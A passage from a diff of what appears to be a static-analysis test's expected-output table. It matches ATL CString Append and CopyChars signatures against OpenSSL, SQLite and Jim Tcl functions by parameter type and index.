ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:922:10:922:15 | Append | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:922:10:922:15 | Append | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:922:10:922:15 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:922:10:922:15 | Append | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:922:10:922:15 | Append | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:922:10:922:15 | Append | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:922:10:922:15 | Append | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:922:10:922:15 | Append | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:922:10:922:15 | Append | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:922:10:922:15 | Append | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:922:10:922:15 | Append | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:922:10:922:15 | Append | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:922:10:922:15 | Append | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:922:10:922:15 | Append | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:922:10:922:15 | Append | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:922:10:922:15 | Append | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:922:10:922:15 | Append | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:922:10:922:15 | Append | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:922:10:922:15 | Append | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:922:10:922:15 | Append | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:922:10:922:15 | Append | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:922:10:922:15 | Append | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:922:10:922:15 | Append | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:922:10:922:15 | Append | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:922:10:922:15 | Append | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:922:10:922:15 | Append | (int,int) | | BN_security_bits | 1 | +| atl.cpp:922:10:922:15 | Append | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:922:10:922:15 | Append | (int,int) | | acttab_alloc | 1 | +| atl.cpp:922:10:922:15 | Append | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:922:10:922:15 | Append | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:922:10:922:15 | Append | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:922:10:922:15 | Append | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:922:10:922:15 | Append | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:922:10:922:15 | Append | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:922:10:922:15 | Append | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:922:10:922:15 | Append | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:922:10:922:15 | Append | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:922:10:922:15 | Append | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:922:10:922:15 | Append | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:922:10:922:15 | Append | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:922:10:922:15 | Append | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:923:10:923:15 | Append | (PCXSTR) | | operator+= | 0 | | atl.cpp:923:10:923:15 | Append | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:923:10:923:15 | Append | (PCXSTR) | CStringT | operator= | 0 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,char *,int) | | BIO_get_line | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,const DSA *,int) | | DSA_print | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,const RSA *,int) | | RSA_print | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (FILE *,rule *,int) | | RulePrint | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| 